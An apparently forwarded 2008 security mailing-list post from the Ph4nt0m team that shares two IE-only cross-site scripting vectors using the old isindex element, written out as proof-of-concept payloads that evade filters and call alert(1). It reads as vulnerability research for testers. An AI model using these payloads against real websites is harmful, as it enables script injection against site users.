[Ph4nt0m] [zz]New XSS vector

Tue, 26 Aug 2008 20:02:42 -0700 

Yes a XSS post again. I’m sorry :)

I’ve been having fun testing some really good filters (some of the best in
the business IMO). I found a vector that isn’t on rsnake’s cheat sheet.
Check it out:-

Only works on IE

<isindex type=image src=1 onerror=alert(1)>

Because IE treats the isindex element (a very old html element) as a input
tag you can specify the same attributes and execute javascript.


Update…


Found another variation which is pretty cool:-

<isindex action=javascript:alert(1) type=image>

 

 

[Ph4nt0m] <http://www.ph4nt0m.org/>  

[Ph4nt0m Security Team]

                   <http://blog.ph4nt0m.org/> [EMAIL PROTECTED]

          Email:  [EMAIL PROTECTED]

          PingMe:
<http://cn.pingme.messenger.yahoo.com/webchat/ajax_webchat.php?yid=hanqin_wu
hq&sig=9ae1bbb1ae99009d8859e88e899ab2d1c2a17724> 

          === V3ry G00d, V3ry Str0ng ===

          === Ultim4te H4cking ===

          === XPLOITZ ! ===

          === #_# ===

#If you brave,there is nothing you cannot achieve.#

 

 


--~--~---------~--~----~------------~-------~--~----~
 要向邮件组发送邮件，请发到 [email protected]
 要退订此邮件，请发邮件至 [EMAIL PROTECTED]
-~----------~----~----~----~------~----~------~--~---

<<inline: image001.gif>>

<<inline: image002.gif>>

回复